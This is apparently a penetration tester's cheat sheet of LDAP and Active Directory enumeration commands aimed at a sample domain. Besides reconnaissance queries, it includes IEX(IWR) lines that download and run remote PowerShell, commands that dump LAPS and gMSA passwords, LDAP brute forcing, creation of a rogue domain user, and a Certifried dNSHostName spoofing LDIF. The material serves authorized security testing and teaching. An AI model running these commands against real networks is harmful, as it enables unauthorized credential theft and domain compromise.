description |
---|
Lightweight Directory Access Protocol |
- http://jxplorer.org/
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc772839(v=ws.10)?redirectedfrom=MSDN
- http://www.kouti.com/tables/userattributes.htm
- https://offsec.almond.consulting/ldap-authentication-in-active-directory-environments.html
- https://www.mdsec.co.uk/2024/02/active-directory-enumeration-for-red-teams/
Check if LDAPS was ever correctly configured:
$ openssl s_client -host 192.168.1.11 -port 636
Some Extensible Match Matching Rules:
Rule Name | OID | Description |
---|---|---|
LDAP_MATCHING_RULE_BIT_AND | 1.2.840.113556.1.4.803 |
True if all bits from the attribute match the value (bitwise AND). |
LDAP_MATCHING_RULE_BIT_OR | 1.2.840.113556.1.4.804 |
True if any bits from the attribute match the value (bitwise OR). |
LDAP_MATCHING_RULE_IN_CHAIN | 1.2.840.113556.1.4.1941 |
Used to provide a method to look up the ancestry of an object and is is limited to filters that apply to the DN. |
{% code title="DecodeUserAccountControl.ps1" %}
# Usage: DecodeUserAccountControl <UAC_VALUE>
Function DecodeUserAccountControl ([int]$UAC)
{
$UACPropertyFlags = @(
"SCRIPT",
"ACCOUNTDISABLE",
"RESERVED",
"HOMEDIR_REQUIRED",
"LOCKOUT",
"PASSWD_NOTREQD",
"PASSWD_CANT_CHANGE",
"ENCRYPTED_TEXT_PWD_ALLOWED",
"TEMP_DUPLICATE_ACCOUNT",
"NORMAL_ACCOUNT",
"RESERVED",
"INTERDOMAIN_TRUST_ACCOUNT",
"WORKSTATION_TRUST_ACCOUNT",
"SERVER_TRUST_ACCOUNT",
"RESERVED",
"RESERVED",
"DONT_EXPIRE_PASSWORD",
"MNS_LOGON_ACCOUNT",
"SMARTCARD_REQUIRED",
"TRUSTED_FOR_DELEGATION",
"NOT_DELEGATED",
"USE_DES_KEY_ONLY",
"DONT_REQ_PREAUTH",
"PASSWORD_EXPIRED",
"TRUSTED_TO_AUTH_FOR_DELEGATION",
"RESERVED",
"PARTIAL_SECRETS_ACCOUNT"
"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
"RESERVED"
)
$Attributes = ""
1..($UACPropertyFlags.Length) | Where-Object {$UAC -bAnd [math]::Pow(2,$_)} | ForEach-Object {If ($Attributes.Length -Eq 0) {$Attributes = $UACPropertyFlags[$_]} Else {$Attributes = $Attributes + " | " + $UACPropertyFlags[$_]}}
Return $Attributes
}
{% endcode %}
Scan for LDAP Singing and LDAPS Channel Binding:
$ python3 LdapRelayScan.py -method BOTH -dc-ip 192.168.1.11 -u snovvcrash -p 'Passw0rd!'
$ cme ldap 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -M ldap-checker
$ for dc in `cat discover/hosts/dc_ip.txt`; do cme ldap $dc -u snovvcrash -p 'Passw0rd!' -M ldap-checker | grep -ae NOT -e PWN --color=never; done
Property Name | Property Path |
---|---|
LdapServerIntegrity | HKLM\System\CurrentControlSet\Services\NTDS\Parameters\ |
LdapEnforceChannelBinding | HKLM\System\CurrentControlSet\Services\NTDS\Parameters\ |
If LdapServerIntegrity
is set to 2
, LDAP Signing is required:
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapServerIntegrity
If LdapEnforceChannelBinding
is set to 2
, LDAPS Channel Binding is always required:
PS > Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\NTDS\Parameters\" -Name LdapEnforceChannelBinding
Install via Capabilities (Windows clients):
PS > Get-WindowsCapability -Name RSAT* -Online | select Name,State
PS > Get-WindowsCapability -Name RSAT* -Online | ? {$_.Name -match "Rsat.ActiveDirectory.DS-LDS.Tools"} | Add-WindowsCapability -Online
Or via Features (Windows servers):
PS > Get-WindowsFeature | ? {$_.Name -match "RSAT"}
PS > Add-WindowsFeature RSAT-AD-PowerShell
Install via ADModule:
- https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1
- https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/ADModuleImport.ps1
PS > IEX(IWR "https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1" -UseBasicParsing)
PS > Import-ActiveDirectory
Or
PS > IEX(IWR "https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1" -UseBasicParsing)
List disabled users (when searching for users use objectCategory
+ objectClass
filters):
PS > Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' -Properties samAccountName | select samAccountName
Count users, groups and computers:
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=person)(objectClass=user))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=computer)(objectClass=computer))' | measure).count
PS > (Get-ADObject -LDAPFilter '(&(objectCategory=group)(objectClass=group))' | measure).count
List users with DoesNotRequirePreAuth
set (aka asreproastable):
PS > Get-ADUser -Filter {DoesNotRequirePreAuth -eq "True"} -Properties DoesNotRequirePreAuth | select DoesNotRequirePreAuth,samAccountName | fl
List accounts with SPN(s) set (aka kerberoastable) and which are also in Protected Users group:
PS > Get-ADUser -Filter {memberOf -eq "CN=Protected Users,CN=Users,DC=MEGACORP,DC=LOCAL"} -Properties * | select samAccountName,servicePrincipalName,memberOf | fl
Or
PS > Get-ADGroupMember "Protected Users" | Get-ADUser -Properties * | ? {$_.servicePrincipalName -ne $null} | select samAccountName,servicePrincipalName,memberOf | fl
List all groups that j.doe is a member of:
PS > Get-ADPrincipalGroupMembership j.doe | select name
List all groups (including nested groups) that j.doe is a member of:
PS > Get-ADGroup -Filter {member -RecursiveMatch "CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL"} | select name
Or
PS > Get-ADGroup -LDAPFilter '(member:1.2.840.113556.1.4.1941:=CN=John Doe,OU=Helpdesk,OU=IT,OU=Employees,DC=MEGACORP,DC=LOCAL)' | select name
List members of IT Support group through nested group membership:
PS > Get-ADGroupMember "IT Support" -Recursive
List users marked as trusted for delegation (TRUSTED_FOR_DELEGATION
UAC value is 524288
):
PS > Get-ADUser -Filter {trustedForDelegation -eq "True"} -Properties * | select samAccountName,trustedForDelegation | fl
Or
PS > Get-ADObject -LDAPFilter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' -Properties * | select objectClass,distinguishedName | fl
Find the number of users in the Helpdesk OU:
PS > Get-ADOrganizationalUnit -Filter {Name -like "*Helpdesk*"} | select distinguishedName
PS > (Get-ADUser -SearchBase "OU=Helpdesk,OU=Employees,DC=MEGACORP,DC=LOCAL" -SearchScope SubTree -Filter *).count
Find all user's whose name starts with John, which are not part of Fired and Contractors OU, and print all groups that they are members of (including nested groups):
PS > Get-ADUser -Filter {name -like "John*"} | ? {$_.DistinguishedName -notlike "*Fired*" -and $_.DistinguishedName -notlike "*Contractors*"} | % {Write-Host $_.name":"; (Get-ADGroup -Filter {member -RecursiveMatch $_.distinguishedName}).name}
Find users with description field filled (one-liner):
PS > Get-ADUser -LDAPFilter '(&(objectCategory=user)(description=*))' -Properties * | select samaccountname,description
Find users with a null password (PASSWD_NOTREQD
UAC value is 32
):
PS > Get-ADUser -LDAPFilter '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))' -Properties * | select name,memberof | fl
Create a new domain user account:
PS > New-ADUser -Name snovvcrash -SamAccountName snovvcrash -Path "CN=Users,DC=megacorp,DC=local" -AccountPassword(ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force) -Enabled $true
List deleted AD objects (AD recycle bin):
PS > Get-ADObject -Filter {isDeleted -eq $true -and name -ne "Deleted Objects"} -IncludeDeletedObjects
PS > Get-ADObject -LDAPFilter "(objectClass=User)" -SearchBase '<DISTINGUISHED_NAME>' -IncludeDeletedObjects -Properties * | ft -autosize -wrap
Check if anonymous bind is allowed:
>>> from ldap3 import Server, Connection, ALL
>>> s = Server('192.168.1.11', get_info=ALL)
>>> c = Connection(s, user='', password='')
>>> c.bind()
>>> print(s.info)
Install:
$ sudo apt install ldap-utils libsasl2-modules-gssapi-mit -y
Basic syntax:
$ ldapsearch -h 192.168.1.11 -x -s <SCOPE> -b <BASE_DN> <QUERY> [<ATTRIBUTE> <ATTRIBUTE> ...]
Get base naming contexts:
$ ldapsearch -h 192.168.1.11 -x -s base namingcontexts
Extract data for the whole domain catalog and then grep your way through:
$ ldapsearch -h 192.168.1.11 -x -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
$ cat ldapsearch.out | grep -i memberof
Or filter out only what you need:
$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(&(objectCategory=person)(objectClass=user))' sAMAccountName sAMAccountType
Get Remote Management Users
group:
$ ldapsearch -h 192.168.1.11 -x -b "DC=megacorp,DC=local" '(memberOf=CN=Remote Management Users,OU=Groups,OU=UK,DC=megacorp,DC=local)' | grep -i memberof
Dump LAPS passwords:
$ ldapsearch -h 192.168.1.11 -x -b "dc=megacorp,dc=local" '(ms-MCS-AdmPwd=*)' ms-MCS-AdmPwd
Simple authentication with a plaintext password:
$ ldapsearch -H ldap://192.168.1.11:389 -x -D 'CN=snovvcrash,CN=Users,DC=megacorp,DC=local' -w 'Passw0rd!' -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
SASL GSSAPI (Kerberos) authentication (there should be both A
and PTR
DNS records of the DC for this to work):
$ sudo apt install libsasl2-modules-gssapi-mit
$ getTGT.py megacorp.local/snovvcrash:'Passw0rd!'
$ export KRB5CCNAME=`pwd`/snovvcrash.ccache
$ ldapsearch -H ldap://DC01.megacorp.local:389 -Y GSSAPI -s sub -b "DC=megacorp,DC=local" | tee ldapsearch.out
Analyze large output for anomalies by searching for unique strings:
$ cat ldapsearch.out | awk '{print $1}' | sort | uniq -c | sort -nr
An example of removing SPNs and changing dNSHostName
(see dNSHostName Spoofing (Certifried)):
$ ldapmodify -H ldap://DC01.megacorp.local -Y GSSAPI -f spoof.ldiff
$ ldapsearch -H ldap://DC01.megacorp.local -Y GSSAPI -b "DC=megacorp,DC=local" '(&(objectCategory=computer)(sAMAccountName=fakemachine$))' servicePrincipalName dNSHostName
{% code title="spoof.ldiff" %}
dn: CN=FAKEMACHINE,CN=Computer,DC=megacorp,DC=local
changetype: modify
delete: servicePrincipalName
-
replace: dNSHostName
dNSHostName: dc01.megacorp.local
{% endcode %}
Enumerate domain function functional level with LDAP anonymous bind:
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u '' --functionality
Enumerate users in Protected Users group which are also trusted for unconstrained delegation:
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -m 'Protected Users' --attrs trustedForDelegation
Find what OU is the user John Doe part of:
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U --full | grep distinguishedName | grep j.doe
Query LDAP for all domain computer accounts (+ try to resolve their IPs with -r
flag) and save results into a csv file:
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -C -r | tee ~/ws/enum/all-computers.csv
Find user accounts which require smart card authentication (SMARTCARD_REQUIRED
UAC value is 262144
):
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectClass=person)(userAccountControl:1.2.840.113556.1.4.803:=262144))' --attrs dn
Get password history size in the domain:
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(objectClass=domainDNS)' --attrs pwdHistoryLength
Search for service accounts configured for constrained delegation:
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m computers --attrs msDS-ManagedPassword
Dump all users info:
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m users --full | tee ~/ws/enum/ldap-users.txt
Enumerate password policy in the domain:
$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t pass-pols
Run all checks:
$ python3 ldapsearch-ad.py -l 192.168.1.11 -d megacorp.local -u j.doe -p 'Passw0rd!' -t all
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p 'Passw0rd!'
$ python3 gMSADumper.py -d megacorp.local -l DC1.megacorp.local -u snovvcrash -p fc525c9683e8fe067095ba2ddc971889:fc525c9683e8fe067095ba2ddc971889
Enumerate ACEs of the AdminSDHolder
object:
$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' -b 'CN=System,DC=megacorp,DC=local' sddl AdminSDHolder | jq '.[].nTSecurityDescriptor.DACL.ACEs[] | select(.Type | contains("Allowed")) | .SID + " :: " + .Type'
Convert SID to name:
$ ldeep ldap -s 'ldap://192.168.1.11' -d megacorp.local -u snovvcrash -p 'Passw0rd!' from_sid <SID>
$ nmap -n -Pn -sV --script ldap-rootdse 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-search 192.168.1.11 -p389
$ nmap -n -Pn -sV --script ldap-brute 192.168.1.11 -p389
$ ./pyLDAPmonitor.py -d megacorp.local -u snovvcrash -p 'Passw0rd!' --dc-ip 192.168.1.11
$ python3 silenthound.py -u [email protected] -p 'Passw0rd!' 192.168.1.11 megacorp.local -o megacorp